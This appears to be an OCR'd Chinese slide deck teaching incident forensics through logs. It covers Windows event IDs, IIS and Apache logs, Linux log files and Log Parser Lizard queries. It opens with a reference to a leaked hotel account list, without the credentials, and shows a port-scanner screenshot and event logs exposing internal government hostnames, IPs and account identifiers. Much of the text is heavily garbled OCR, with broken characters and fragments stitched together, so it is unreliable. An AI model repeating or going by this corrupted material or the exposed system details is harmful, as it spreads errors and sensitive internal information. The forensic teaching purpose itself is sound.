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|\; ohyahotel.com Account leak
BY: A GUEST ON NOV 2014 | SYNTAX: NONE | SIZE:93.39 KB | VIEWS:
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I\; ohyahotel.com Account leak I

BY: A GUEST ON NOV 14TH, 2014 | SYNTAX: NONE | SIZE: 9339 KB | VIEWS: 1,765 | EXPIRES: NEVER
® Oog e DOWNLOAD | RAW | EMBED | REPORT ABUSE | PRINT | QR CODE | CLONE

Do you know your pe——

o Mail(yahoo,hotmai |) website's value?

ohyamotel.com Account Leak (2,347 Accounts)
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I Email | Username | Password l
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HT TP Request ~ Response

% 5
;N :

TR

HTTP/1.1 200 OK
Date: Sat, 19 May 2007 13:49:37 GMT
Server: IBM_HTTP_SERVER/1.3.26.2 Apache/1.3.26 (Unix)

Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

no

A

\!\
e o o A )

GET

t4

F ;? ’fﬁ-

/books/search.asp?q=books HTTP/1.1
age/gif, image/xxbitmap, image/jpeg, image/pjpeg,

Ixshockwaveflash, application/vnd.msexcel,

vnd.mspowerpoint, application/msword,

Server Error in '/CodeService' Application

Compilation Error

BEEHE 171N VA IS I = :
ELIE T o
i 10449204 ..k e e = e . ) o .
| . r_l ——\ Description: An error occurred duning the compilation of a resource required to service this request Please
nfu.edu tw/adplay/adplaf.phpZpn=585&action=count MEREF '& hv_r/ fie =— review the specific eror details below and modify your source code appropriately
2 = &N 2
D Elements Network | Sources | Timeline Profiles Resources Audits Console Compiler Error Message: CS0103: The name ‘InNumber’ does not existin the class or namespace
‘FirstWebSenvice
ces | Content scripts  Snippets [¥ general.css main.css wforms.css zh-tw.css main.php X
dadl s pp! 29 - i Source Error:
L
2 accesskey_top” U" href="javascript:accessKey('accesskey_top')" ="fEETEFI" >:::<¢/a>
I module sskey " a href="/accesskey.php" title="{E{ET BFl" > Line 16: public decimal AddNumbers(deciwal InNumberl, decimal InNumberz)
o o L ® Line 17: 1
& general.css EEH /2 Line 18: return InNumber + InNusber2:
=l main.css apan? - Line 19: )
temap/pages.php?ID=sitemap” >HAUEEHE /2> Line 20:
& wforms.css o>
5| zh-tw.css print=friendly” >&EFEN</a>
Jinc/js 5 pan> Source File: dunetpubivwwrooticodesendcelfirstwebservice asmx  Line: 18
2| main.php 47 < “/main.php?lang=en&Trad2Simp=n" >English</a>
(no domain) <h1><span>EEERBEAS < /span></hl1><a href="/main.php"><img src="/css/logo.jpg" alt="LOGO" title="EEE" /></a></div> + Show Detailed Compiler Output:
2 (index) <div id="mainl"><div id="main2"><div "main"> + Show Complete Compilation Source:
kajfghihfkcocafkejlajldicbikpgnp
her.js 5 o
53
google-analytics.com — E Version Information: Runtime Build 1.0 2615 1, ASP NET Build: 1.0.26151
L[ {} Linel Columnl




H B RRF

Host name or IPv4 address: ﬂ

Y P O rt Scan Scan this list of port numbers: | Scan |?

Scan a range of ports: | Beginning port number

(less than 500 ports please) | Ending port number
® O S S Can FTP/file server open/vulnerable (port 21) TELNET service open/vulnerable(port 23)
SMTP relay vulnerable (port 25) POP3/mail server vulnerable (port 110)
'HTTP/web server vulnerable (port 80) I Scan for Windows file sharing susceptibility (port 445)
Scan for NETBIOS susceptibility (port 139) Scan for firewall remote login (port 8080)
I Microsoft Remote Desktop vulnerable (port 3389) |/ VNC Remote Desktop vulnerable (port 5900)
'VPN (PPTP) service open/vulnerable (port 1723) Microsoft SQL Server open/vulnerable (port 1433)

Oracle database service open/vulnerable (port 1521) |/ MySQL database open/vulnerable (port 3306)
Check All  Uncheck All

| Scan Ports |

= Hosting History

Netblock owner IP address  0S Web server Last seen
Ministry of Education Computer Center 2F, No 106, Sec.2,Hping E. Rd., 140.130.1.19 Linux Apache 24-Sep-
Taipei Taiwan 2015
Ministry of Education Computer Center 2F, No 106, Sec.2,Hping E. Rd., 140.130.1.19 Linux Apache/2.2.10 Unix 11-Oct-
Taipei Taiwan PHP/4.4.9 2011
imported inetnum object for MOEC 140.130.1.19 Linux Apache/2.2.10 Unix 14-Jul-
PHP/4.4.9 2010
imported inetnum object for MOEC 140.130.1.18 Windows Server  Microsoft-115/6.0 26-May-
2003 2008
imported inetnum object for MOEC 140.130.1.18 Windows 2000 Microsoft-115/5.0 5-Aug-
2006
imported inetnum object for MOEC 140.130.1.18 Linux Apache/2.2.0 Fedora 3-Aug-
2006
imported inetnum object for MOEC 140.130.1.18 Windows 2000 Microsoft-115/5.0 5-Jun-
2006
E Security

Netcraft Risk o/10
Rating [FAQ]

http://www.t1shopper.com/tools/port-scan/ | e

On Policy Block No On Domain No

http://www.netcraft.com/ vis Block vist
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« SQLmap

« Acunetix Web Vulnerability Scanner,
WVS
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log## (% PR BB eraweb log ~ A % shevent
log[ /& * #2.;% log » % > 1+ log > % sb
log])

e 2b A7 N FG

f7 X 3 s 4 (firewall log)

b S A i

25



=+ Fe-E_logtn?

° %} %1— \zou J
o /A f-:-b ~ t& F Po\s%(event |Og)’f‘f’
P 2545 (server log)

1 7]\%5 \zo\s#‘%%] ‘Q b‘ t&ﬂ\p/h,‘rﬁm
7 & 324 ("/\/“'"ﬂ”#? B &

* FIRE P AmL ﬂ”&rﬁ%ﬁ»@ﬁﬁi‘“ﬂ’?%
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¢ R TR>E > ks B >Windowsss

: }'r%’i’f i \(appllcatlon) a B 2zék ,I‘s 5 AR
& (,u L AR E g’ é*;‘tv)

\h

*-T

4

* % M (security)- RELAE G D »P"cﬁ,l(ag_z_ ¥ 7

)\) = (& =mes - = ~ P )

BER ATAO ®BEREV) H#EH

s 2B EE
gk e 2% B2 semE X B
4 i 3518
. @ TrmEs EREs 2B 16658 12.07MB Windows 5255 -
. [ S=rEs f%s tﬁéé 28,267 2000 MB o BECETHRS.
2 ETTRE == BE 325 1.00 MB
4 [Ca Windows 255 B HHSE 57,995 20.00 VB
BIENEE BIE 0 0 U
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o

« 12 & #cd8 " Event Log Explorer
o % ¥ Exevent logengicdy o 5

File Tree View Event Advanced Window Help
@ e @i @ @@ T <loadfiters ~ R

Computers Tree X

« [Lm »

Ready

1 aver Name:
x  Descripton  Data

Security on TCI-102HP012 | X [ v
=& TC1-1024P012 focal) |, ) ;
19 Appication (16660) ¢ U | 2 7/ |Showing 28396 event(s) | NEW &y
1§ HardwareEvents (0| |7y |Date |Source |category |User | Computer -
HP Software Frame| | 0 aifure 2014/9/27 5157 |Microsoft-Windows-S¢ 5HER IN/A TCI-102HPO. gov.tw
v} I"‘emef""“”ﬁ ©l 8 audit Faiure 2014/9/27 5152 Micosoft-Windows-5¢ EE R FEHEEE  N/A TCI-102HP012.cb.gov.tw
? tlo| | o =
g Zi";’:ﬁ;’;‘;’;g 5 Audit Failure 2014/9/27 5157 Microsoft-Windows-S¢ ERE S EE N/A TCI-102HP012.clb.gov.tw
2 Media Center (0) 5‘_ Audit Failure 2014/9/27 5152 Microsoft-Windows-S¢ E5 355 N/A TCI-102HP012.cb.gov. tw
] OAlerts (820) % Audit Failure 2014/9/27 T4 04:08:2 5157 Microsoft-Windows-S¢ 558 F N/A TCI-102HP012.cib.gov.tw
## ODiag (0) £ AuditFailure 2014/9/27 & 04:08:2 5152 Microsoft-Windows-S¢ 555 N/A TCI-102HP012.cb.gov. tw
% OSession (4) % Audit Failure 2014/9/27 T & 04:08:2 5157 Microsoft-Windows-S¢ 5555 N/A TCI-102HP012.cib.gov.tw
w :j:‘:e':’((:s%z“’:)) 0 Audit Failure 2014927 | FEF 04:08:2 5152 Microsoft-Windows-5 BT N/A TCI-102HP012.cb.gov. tw
g Windows PowerShe Audit Failure 2014/9/27 T & 04:07:5 5157 Microsoft-Windows-5¢ EF 55 F N/A TCI-102HP012.cb.gov.tw
192 DigitalPersona-Pro- 8 Audit Failure 2014/9/27 FF 04:07:5 5152 Microsoft-Windows-St E535¢F N/A TCI-102HP012.cib.gov. tw
7 ForwardedEvents (|| £ Audit Failure 2014/9/27 F&0407:5 5157 Microsoft-Windows-S¢ E5:358F & %2 N/A TCI-102HP012.cib.gov. tw
@ HP-HP ProtectTools| |0 ..t Eailiwa on1aiain7 T nanv.c S187 Mirrnenft \tindnwe Cc SRS & nIA TA1_1N9HDN 17 rkh Anu ha i
(@ HP-HP ProtectTools|| B | \yindous Fitering B
v g Platform has blocked a connection.
1§ HP-HP ProtectTools| & '
{£) Microsoft-Windows | 5 $ 7 2
=. | Application Information:
39 microsoft-windows- ]
Process ID: 1368
@ Setup (325)
@ Application Name: \device'har 1\wir 2\svchost.exe
Network Information:
Direction: #WA =
Source Address: 224,0.0.252
Source Port: 5355
Destination Address: 10.150.49.252
Destination Port: 54486
Protocol: 17
Filter Information:
Filter Run-Time ID: 68609

28.
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e security log

o WIindows%
¥ sl

VIS TG

¥ &g LAy rh 30
ANt SNl
(XP ~ server 2003) | (w7 ~ server 2008)
529 ~ 530 ~ 531 -~ | 4625 E N~ 2% pT
532 ~ 533 ~ 534 ~
535 ~ 536 ~ 537 ~
539
528 ~ 540 4624 O~ N3
538 ~ 551 4638 ~ 4647 7~ A
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o security log
o« T N IusRA AT

(5% Untitled.ELX - Event  Explo
| i File Tree View Event Advanced Window Help
BB EE D@ ERT omdier - RO MHE
Compdierilree X | Security on TCI-102HPO12 [ | |
=- &) TCI-102HP0 12 (ocal)
’mi Application (16660) | |~ l |Filtered: showing 342 of 28396 event(s) | NEW &
7## HardwareEvents (0 1| 1 .
-3 HP Software Frame
4 ‘"‘E'”esf":'me' @ Audit Success 2014/9/27
3 t L zZ -
0@ Kaspersky Bvent Lolfig 5, it Success 2014/9/27 F&Eo03:32:3 4624 Microsoft-Windows-S¢ & J, N/A
Key Management S | _ " =
Media Center (0) 24 Audit Success 2014/9/27 FHF03:25:5 4624 Microsoft-Windows-S¢ 2 A N/A
-3 OAlerts (820) 2y Audit Success 2014/9/27 T4 03:17:2 4624 Microsoft-Windows-S¢ 2 A N/A
- ODiag () Audit Success 2014/9/27 T4 03:09:2 4624 Microsoft-Windows-S¢ 2 J, N/A
OSession (4) o
@ Security (28396) E Subject:
@ System (58005) || =. Security ID: 5-10-0
(ﬁ V\(:ndows PowerShe| g. Acooont Nare: =
R gngltalerzona-Pro-i = Account Domain: -
i ForwardedEvents ( Logon ID: 00000000
HP-HP ProtectTools
g HP-HP ProtectTools e 5 T
{8 HP-HP ProtectTools [Logon Type: 3| N Aﬁ gil
- Microsoft-Windows
@ microsoft-windows- New Logon:
% Setup (325) Security ID: S-1-5-21-3055535843-1470733876-4136499875-26119
I Account Name: KPYD1S I ﬁ JEH’ % I“’F %
Account Domain: CIB < 5
Logon ID: 0991E101
Logon GUID: {40F57370-4CB7-B4AA-9B65-69FF 488BF 539}
Process Information:
Process ID: 00000000
h Process Name: =
Network Information:
Workstation Name: 4
I Source Network Address: 10.150.8.40 I % )E I P
Cruiwre Dort: acai7z
< [mm ' x Description Data
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e security log

His g & nE 2

¥ &g
(XP ~ server 2003)

¥ E g
(w7 ~ server 2008)

X Ep

624 ~ 625 ~ 626 -
627 ~ 628 ~ 629 -
630 ~ 642 ~ 644

4720 ~ 4722 ~ 4723
4724 ~ 4725 ~ 4726
4738 ~ 4740

%% —‘Fkl tE B L &

631% 641 ~ 643 -
6451 666

47272 4737 ~ 4739
14762

® K e

Fl ¥

612

4719

FErr FOf e %
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event logpF & ¥ 4

Bl windows ERET A DES NREEITEERE - j [ igi gﬁmﬁ... = PREmEEES..
B mmesam 8 RBEAE. T RUBITRA..
B4 REEERAE: 952 4672 HIREA EABTHRA..
: s 4624 HA ;
Rt ERRXEE \devicesharddiskvolumeliwindows\system32\svehost.exe i 4648 EO FERREIRAE..
S = | el | s ERE T EREAEIRE.
. ERESEM)  EEe ol | el | =N
(S - T Microsoft \Windows securit IE%’E%SD): 2014/7/21 F¥ 10:00:30 | i 4673 (ETRRERE B8 s®.
L Branme 5159 TiESA: — EEmETAER b v 673 BTASTRE i St
® mao an M R \ doz) 2P WT (FR EEE
' mREU @A SR ior ggig e :
OpCode(0): AR %
SR EE b o Ewigs
EiL) »
5 5159 » Microsoft Windows secu... 4
BRE) RARA(C) ] [E s#ps L
T MBS
Ju history —Hs 3 |
) ipcafe B
B e Windows ERET & DEH BREFTESEE -
1. LogFile:
L WSy
d W3S\ @S EM): ZEiE
o WY FE(S): Microsoft \Windows securit. E5ZEH(D): 2014/7/21 4 10:00:
il SHRABE: 5150 TiESBlY):  EEmETAES
. BRO): EE T BN w
1 wwrwroot BREUY: Es B =
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windows server 2008

e« &3¢ >P BPRE(IS) >z 5 >default web site >
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WA RAH
le=sz[=H
S (EMESSEITE (WIN-ICAFE-NEW) Internet Information Services (IIS) 28
= Rt s BB BDCEAATTNWq |-_—xDx—x——..,
o @

=t -
@‘;, | €@ » WIN-ICAFE-NEW » 35& » Default WebSite »

@ = .

Interet Information Services (IS) ¢

Q-7 |8

o5 ERaaE ]
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windows server 2008

iy, EARRSEIEE (WIN-ICAFE-NEW) Internet Information Services (IS) 328
=3 AE =
:1'3 45 RIS (1S) ] @ . | € » WINICAFE-NEW » 35& » Default WebSit: »
& W3C TSR 7]x N
Bl F=ree) G @
= AL g (time )
&3 TFh v PR IP RiC4E (c-ip) LEThRERTRAZRERTE IS TEA B (EAREE L ELIRERATHR -
v TERERHE (cs-usemame ) HTFIEE—REIEIFEO):
] ARFE R (s-sitename ) 1 IZEE _'J
[ {51AR 852 ( s-computername )
v 1518R2E IP {irdk (s-ip) Bk s
vl 1EIARSEEIBLE (s-port) HEFM): -
v Fi (cs-method ) [w3c = mEwEs
v URI X548 (Stem) ( cs-uri-stem ) B$3(7):
vl URLEESW (cs-uri-query) [ ystemDrive BinetpublogsLogFies
v SEEMRTEARAE (so-status ) ST ) —
) SRR FARAE ( se-substatus ) ik
) Win32 4848 ( so-win32-status) [oTFe =
[ BfEEATTEH (s-bytes) I
v giggﬁfﬁ?'mn ) RN 115 IR RIS R -
[] 385 ( cs-version ) = & PR
|=8 =l
© EEADERR (I E):
i mE | |
= | O TESUHTHHD
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windows server 2008

o log s s Tk &

« C:\inetpub\logs\LogFiles

IR & ==

o5 #EASE
= gg T’;ﬁ—?c%m—NEW (WIN LETHhEECTFAZRERTE IS TSR (51AR 88 L SL3RFERAIFSF -
Ly EREAER FTFIE B—ESRIRE 0 =
=&l W& I:J'Ei'a Ll
#-49 Defavlt Web Site
SEIRTE
(M)
[W3c =] EEmEEe |
EEIIE
I%SysﬁemDrive%'\inetpub\logs\LogFﬂes SRR
TRUSES
[oTEE =]
| [ ClinetpubllogsiLogFiless W35V C2 3 =
ERE) wERE R LE() SR
HEEIE ~ =i
. =Y || ez EEn -~ | -] #a2d =iy -]y
- = || v_ex130902log 2013/9/2 4 09:59 I 6KE
E < | u_ex130003log 2013/9/3 F4F 07:55 F 65KE
E BE u_ex130004 log 2013874 F4 04:52 ZEFRM 554 KB
E =
B = | u_ex130905log 20138/6 H4F 12:16 XFZM 54 KB
=i e | u_ex130906 log 20138/ F4 09:19 ZEFE 835KE
| | u_ex130007 log 2013877 F4F 11:26 ZEFRM 6KE
- « L m_ex130908log 2013/8/9 H4F 03:01 ZEFRM 7KE
| u_ex130909.1og 201309 F4 09:11 XFZM 116 KE
Al o ed3091000 2013/9/10 T4 03:44 ZEF 10KE

. v _ex130911 log 20139/11 TF4F 08:11 b Sl 11 KB




/var/log/secure WhRE O~ kR E BTR AR % o Bl4e pop3, ssh, telnet, ftp &
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/var/log/wtmp A E O F AT LR 0 d AR AR SRR E 0 T
&R 18 *F last 1o #gﬁ KB Fh R ap B

Ivar/log/imessages * i& 4% % Ap § ShE & > B0 kg 4 agpsEan & (2
¢ & m)%g S haE AR

Ivar/log/boot.log : se R 4 & - L JRIFLE P i o TRE T fads &
37

/var/log/malllog - Ivar/log/mail/* : ‘e 4&#R 2 73 B~ 2 i1 % (sendmail £2 pop3)
e # F iohR

Ivar/log/cron @ i& B &E_* %X ieék crontab i& B &) (7 M PRIR O F 0 |
/var/log/httpd, /var/log/news, /var/log/mysqld.log, /var/log/samba,
Ivar/log/procmail.log : % %] &_% B 7 e el B2 PR I3 ciis 4 A ok |
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web logF

S
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c2 N

R 10.150.20.201 - SRS EHES

3 ARR G

5 % 4 (windows)

+8-] pF(GMT+8)

HAEE v MR v B v e BUED @
— &8 |-| weeEe - (-] ma [lxm (@ |- 4l
i Blu_ex140721 log - 2HAR =81
‘ B HEE RHE BAO) HBAG) RHEEH
,,“ 2014-07-21 02:01:35 10.150.20.201 GET /~ - - - T e mm e e T |
E 2014-07-21 02:01:35 10.150.20.201 GET /
H#e » 2014-07-21 02:01:35 10.150.20.201 POST
2014-07-21 02:01:36 10.150.20.201 POST
£bd 2014-07-21 02:01:36 10.150.20.201 POST
A 2014-07-21 02:01:37 10.150.20.201 POST
B Adminisor [2014-07-21 02:01:40 10.150.20.201 GET /
¢ ADmtr10014-07-21 02:01:40 10.150.20.201 GET /
b AR 2014-07-21 02:01:40 10.150.20.201 GET /
1= EhE 014-07-21 02:01:40 10.150.20.201 POST
& e (2014-07-21 02:01:41 10.150.20.201 POST
)i compeq |[2014-07-21 02:01:41 10.150.20.201 GET /
3 cpasyster|2014-07-21 02:01:47 10.150.20.201 POST
1 t52ders0:|2014-07-21 02:01:48 10.150.20.201 POST
§ he 2014-07-21 02:01:50 10.150.20.201 POST
| iy |2014-07-21 02:01:54 10.150.20.201 POST
" ' |2014-07-21 02:01:57 10.150.20.201 POST
b AdminSlon4_07-21 02:01:59 10.150.20.201 POST
l backup 15014-07-21 02:02:04 10.150.20.201 POST
J eusterr 12014-07-21 02:02:05 10.150.20.201 POST
)b history [2014-07-21 02:02:07 10.150.20.201 POST
I ipeste ||2014-07-21 02:02:10 10.150.20.201 POST
Jogs |2014-07-21 02:02:14 10.150.20.201 POST
i Loge|2014-07-21 02:02:16 10.150.20.201 POST
) W a0 202:17 10.150.20.201 POST 3
J, sl A0721 02:02: T70. 150.20.201 GET / GMTH%’}F'EEJ%E'C =
L Wil | v
L WISYE T W ERTIUOZZTOE s L7 FXTTF Z,000 KB
4o old 1w ex140621 log 2014622 £ 0.7 351 KB
1. temp | u_ex140620.1og 2014620 T 0. XFXMH
1 wwwroot | v_ex140619.1og 014620 £ 1. XFXMH 1,844 KB
1. aspnet_client | v_ex140618 log 20141619 £ 0. XFXH 6,244 KB
|\ system_web | Ju_ex140617 log 2014648 £ 0. ZFXH 7,346 KB
I 2.0 50727 | |u_ex140616 log 2014617 EF 1. XFXH 5077KB
e Ll ol ANEA G 1 ARG LN Sremerid 2124 VD
[PR4] | S BN @ @ | 4 MicrosoftSQL ServerMa.. | % WasvCl | = iemsseses | 2 Emseses [ exta0721 og- e « @Yz LF 1003
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GET F PR TR

POST LR BN S AP A L)
HEAD Pl PETRESERT TR
OPTIONS RlFFF L dps L3 RRAF
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PUT AL F] e 2
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o IXX:ZE vk 5\ i 20 3
301(302)::& Fuﬁir&
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Log Parser Lizard = %

% KR % AR LA S %3x

Microsoft .NET Framework 4 NET Framework4.0 12 + 13k | . NETH B
B

T 3% 2k:http://www.microsoft.com/zh-TW/download/details.aspx?id=17718

LogParser.msi Log Parser % % LogParser+? = 42 3%
2 s ;‘ 2L http://www.microsoft.com/en-us/download/details.aspx?id=24659

owc10.exe B A EZ T PV -
3

T ?‘ 2t http://www.microsoft.com/zh-tw/download/details.aspx?id=9468

LogParserLizardSetup.msi Log Parser Lizard % % #-LogParseril?; it /i

™ % 2k:http://www.lizard-labs.net/log_parser_lizard.aspx
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[ www.lizard-labs.net/log_parser_lizard.aspx

Log Parser Lizard GUI - FREE Query Software

Log Parser is wonderful because it effectively lets you run SQL queries against text files:

SELECT DISTINCT src-ip FROM pfirewall.log WHERE action="DROP'

SELECT cs-uri-stem FROM c:|InetPub|Logs|ex™.log I ﬁ % H& $

GROUP BY cs-uri-stem HAVING COUNT(™) > 50

SELECT to_lowercase(extract_extension(cs-uri-stem)) AS PageType, SUM(sc-bytes)
FROM ex131118./og, ex131119./og GROUP BY PageType

Short Introduction to Log Parser Lizard

Log Parser Lizard is a GUI for Microsoft Logparser,
definitely the best one available on the market today.
Log Parser is a very powerful and versatile query
software tool that provides universal query access
(using SQL) to text-based data, such as log files,
XML files, and TSV/CSV text files, as well as key
data sources on the Microsoft Windows operating
system, such as the Windows Event Log, IIS log,
the registry, the File System, the Active Directory
services and much more.

Microsoft Logparser is an enhanced query
software that digs through information in log

3 )[4 °Share | £]¥]

» Download Log Parser Lizard for FREE
 Version history and feature list

« Tutorials for Log Parser Lizard GUI

* BUY NOW the Full Version of Log

Parser lizard

» Download previous version of Log
Parser Lizard 3.5

RECENT AWARDS

Log Parser Lizard has been reviewed by
software.informer.com editors and got
"Editor’s Pick Award"

Editor’s pick

award

software.informer

Log Parser Lizard has been reviewed by
Frederick Barton on 20 Jun 2012, Based on
the user interface, features and complexity,
Findmysoft has rated Log Parser Lizard 5 out

o1




home>new query)

Query View Export Help A
J y i Rename Group N ﬁ
w _g Delete Group =
New ®pen All Create New Manage Code
Query |File Queries | Group Constants Snippets
Log ParserQueries Query Groups Manage
> All Queries x4 Query X | ¥
Q
[
|
<
(Query jebd
Edit View Findand Replace Insert
SELECT TCP 100 * FROM System -
‘ < m | »
2 | |Input records processed: 0, Output recoxds: 0, Time: 00:00:02 EVT X
& Copyyight (C) 2006-2013 Lizaxd Labs ey lizpod -labs.net
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£ % log$e 59

Log Parser Lizard CEIGES Query View Export Help Log Parser Lizard IR Query View Export Help

" = ‘ i Outett Eormatiy H 9 w - | (@ OutputFormat - H \ i \ a‘ ?
= 4 Output Format Properties = 4 Output Format Properties )
Run 5 ; Input Format : Save Save Save Copy Comma| Input Format ’ Save Save Save CopyCommand  Listof
Query Format~ | Properties 5 OutputFile Query QueryAs | toFile | Line To Clipbo Properties [ Output File Query QueryAs | toFile | Line To Clipboard Columns
\\7 IS W3C Logs I_ Save | Tol # IS W3C Logs | | Save [ Tools |

Active Windows Event Log uery* X S | Windows Event Log ‘
4 Allcls Active Directory Services g ActiveDikectory Sanices _
J Lasttiy Comma-separated values | Comma-separated values |
J Lestth Tab-separated and space-separated values Tab-separated and space-separated values
4 Lockec W3C Input Format - d ﬁE ) % T I s. W3C Input Format
§ Meme IS Log File Format windows gl\ -/:;l\ W s og%?t 18‘ IIS Log File Format

IS Centralized Binary Log File E IS Centralized Binary Log File

Enterprise Tracing for Windows (ETW) % Enterprise Tracing for Windows (ETW)

File System | 2| File System

HTTP Error log I I@ HTTP Error log

I | 1S ODBC
QDG Eplace Insert EF - ENN o
| V] = =
NCSA Log File Format | lx‘/. NCSA Log File Format ﬂ Ilnux%gﬁ‘inlﬂﬁﬁﬁg E m%%iﬁ
NetMon Network Monitor * FROM System | = g NetMon Network Monitor

Registry values

TEXTLINE Input Format
TEXTWORD Input Format
URLScan IS filter

XML Input Format

‘ Adl Registry values

TEXTLINE Input Format
’, Eve TEXTWORD Input Format
e — URLScanIIS filter
“ File XML Input Format
Frep— RegEx Input Format
" i Multiline RegEx (Log4Net) Input Format
Froemm— SQL Server T-SQL Query
’ o OLE DB SQL Query

’ Re( Facebook Query Language - FQL
Text file RegEx Input Format

RegEx Input Format

Multiline RegEx (Log4Net) Input Format
SQL Server T-SQL Query

OLE DB SQL Query

Facebook Query Language - FQL

Text file RegEx Input Format

!

.00 eeee

|Inj Logparser COM Input Plugin

Logparser COM Input Plugin records: 0, Time: 00:00:02

Gooale BigQuery

windows=riisfz 31 linux =ncsafs 3
53
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e d Iog 205 (insert>fi|e path)

Log Parser Lizard SRS Query View Export Help @
# OutputFormat ~ v
- -

= | L4 Output Format Properties

Run Inputlog InputFormat | Save Save Save Copy Command List of
Query Format~ Properties | LE§ OutputFile Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools

» JAll Queries %\ Query* x]

Active Directory

[Query* (W3
Edit View Find and Replace | Insert
SELECT TOP 100 * FROM CodaSnippels b 2
,,,,,,,,, e J ‘
Folder path

_m

Q <L m )
»
>

jlnput records processed: 0, Output recoxds: 0, Time: 00:00:02 NCSA (X

wwew lizand -labs net

2 Copynght (C) 2006-2013 Lizaxd Labs

%0513
2014/9/26

(2
E
e
13
&
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» PllogAg &= eni- B

Log Parser Lizard TS Query View Export Help =
= | (@ OutputFormat ~ H \ i \ a‘ -J ?

= 4 Output Format Properties

[o

Run | Inputlog InputFormat | . Save Save Save Copy Command  List of
Query | Format~  Properties | L[ OutputFile Query QueryAs | toFile | Line To Clipboard Columns
Query Save | Tools
. WAl Queries %/ (§ Query* Xx | -
. O
Uil Select file
QCJ | L ElE )y FEEEE(K) » shopl23 serverlog » ap2 » httpd_access)

HAEE v HREEHR

o BEH

-

1R

o

[0t

Active Directory

[ access_log.2014-08-29_06
|| access_log.2014-08-29_07
|| access_log.2014-08-29_08
|| access_log.2014-08-29_10
|| access_log.2014-08-29_11

Query*
Edit View Findand Replace Insert

L300 e el e R 5210 [l ' K : \shop123_ server log\ap2\httpd access log\access log.2014-08-22 06'

‘ || access_log.2014-08-29_15
|| access_log.2014-08-29_18
’ B | ] access_log.2014-08-29_19
& seEE 0 | access_log.2014-08-29_ 20
’4 ca FREEE D) || access_log.2014-08-29_21
ca FEEBE(K) | access_log.2014-08-29_23
‘ || access_log.2014-08-30_00
@& o % arrace lnn 20140220 N1

" BEZE(N): access_log.2014-08-29_06

& i l
» || Input records processed: 0, Quiput records: 0, Time: 00:00:02 m

& Copyright (C) 2006-2013 Lizard Labs e lizand-labs net

G W c e @ LR -
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s

iz % 7 1005 jpl3# » BLiE run query

-1
Log Parser Lizard RIS Query View Export Help X
@ OutputFormat ~ H | / ?
V| = : v =
| L4 Output Format Properties X
Run Inputlog Input Format 2 : Save Save Save Copy Command List of
Query Format~ Properties ‘ [ OutputFile Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools
» # Al Queries %/ @ Query* X | -
<
[ e I
Edit View Findand Replace Insert
SELECT TCP 100 * FROM ’2{:"\si’.op‘.zS_IBe:ve:_;cg"-\apz\‘.—.ttpd_access_;c \access_log.2014-08-29 06°' =
‘ < m »
* || Input records processed: 0, Output records: 0, Time: 00:00:02 NCS& (X
& Copyright (C) 2006-2013 Lizard Labs wwew lizard-labs.net
L s I L 0T T o T —— T T —— . __ _ _ ]
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;“I gér,\,]% ’

v~/

—

Zh)

| _access_log\access_log.2014-08-2
‘ 9_06
[

2 | K:\shop123_server_log\ap2\httpd
| _access_log\access_log.2014-08-2
|9_06

3 | K:\shop123_server_log\ap2\httpd
|_access_log\access_log.2014-08-2
|9_06

Active Directory

4 |K:\shop123_server_log\ap2\httpd
| _access_log\access_log.2014-08-2
| 6

5 ;K:\shopl23_server_log\ap2\httpd
_access_log\access_log.2014-08-2

2 36.239.238.205

3 123.161.232.249

4 36.239.238.205

5 157.55.39.20

ol R
Log Parser Lizard RN Query View Export Help X
- # OutputFormat ~ H ?
v =™ _ v —
& Output Format Properties X
Run Inputlog Input Format ‘ 2 : Save Save Save Copy Command List of
Query | Format~ Properties | L3 Output File Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools
» 2 All Queries X J Query* X | v
| Log Filename Log Row |Remote Host Name |Remote Log Name |User Name |Date Time Request |Status Code | Bytes Sent |Referer o
1 |K:\shop123_server_log\ap2\httpd 1 223.141.108.68 2014/8/28 F4 09:59:59 GET 200 68,730 http://www.mistermorden.c

Jwebsite_module.php?website_mo
dule_classify_sn=105 HTTP/1.1

2014/8/28 F4 10:00:00 GET

Jproduct.php?pid_for_show=3522
HTTP/1.1

2014/8/28 F4 10:00:00 GET

Jajax_product_module_api.php?mo
dule_type=shoppingcar_right&time
=1409263231716 HTTP/1.1

2014/8/28 F& 10:00:01 POST

/ajax_product_module_api.php
HTTP/1.1

2014/8/28 T4 10:00:00 GET

/product.php?pid_for_show=1024

ebsite_module.php?website,
e_classify_sn=102

200 138,576 http://www.digokids.com.ty
uct.php?pid_for_show=332

200 http://www.bcsw.com.tw/

200 http://www.digokids.com.ty
uct.php?pid_for_show=352:

200 147,558

& Copyright (C) 2006-2013 Lizard Labs

‘ 9 06 3&promotion child sn=25
v
4 Iill »
v [ 3
’ Edit View Findand Replace Insert
SELECT TCP 100 * FROM ’K:"\3‘:0;:‘_23_se:'v'e:_‘_og"-\ap2\‘:ccpb_access_‘_o \access_log.2014-08-29 06°' =
" < m ] »
* || Input records processed: 100, Output records: 100, Time: 00:00:00 NCS& (X
wwew lizard-labs.net
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ﬂi //E
Home Query View Export Help

v ..7 } # OutputFormat ~ H v w J_! ?

4 Output Format Properties

Run Inputlog Input Format Save Save Save Copy Command List of
Query Format~ Properties ‘ [ Output File Query QueryAs | toFile | Line To Clipboard Columns
Query Save Tools

Active Directory « #All Queries  x/'d Query* x | b
S [ —
4 Lasttime of login on & computer i Log Rowi REmotiHoﬁ Narni ] Remote Log Nami lUser Name ) Dite T@e — v Bequeit - p—“ §tatus Code lBy‘tes Sent 'Referer o S~
(§ Last time password changed for= || 1 1§220.181.89.154 2013/2/23 T4 07:43:344 GET /zh-hant/node/444 HTTP/1.1 301 334 =
4 Locked users g% ﬁllj %ﬁ
4 Memersof a grovp 2 2]66.249.77.24 2013/2/23 F& 07:43:33GET 200 5,323

/classical_23_2924?_escaped_frag

I P H-\—_]k‘ F‘Eﬁ ment_=main HTTP/1.1

3 3]66.249.77.24 2013/2/23 F& 07:43:4HGET 500 482
/?_escaped_fragment_=?_escaped
_fragment_=knowledge_32_2061

HTTP/1.1

4 44220.181.89.154 2013/2/23 T4 07:43:444 GET /zh-hant/node/444 HTTP/1.1 302 303
‘ Active Directory v

” M »
’ Event Logs [Queny® C

Edit View FindandReplace Insert

Q File System : SELECT * R
Q 11S Logs FROM 'D:\HEIfE3E\201304_nuzikoniletm 5 \EBAKEENlog\access_10g-20130303"' -- FEEERE L
Q Other samples —!
’ RegEx/log4net P m ™ G

¥

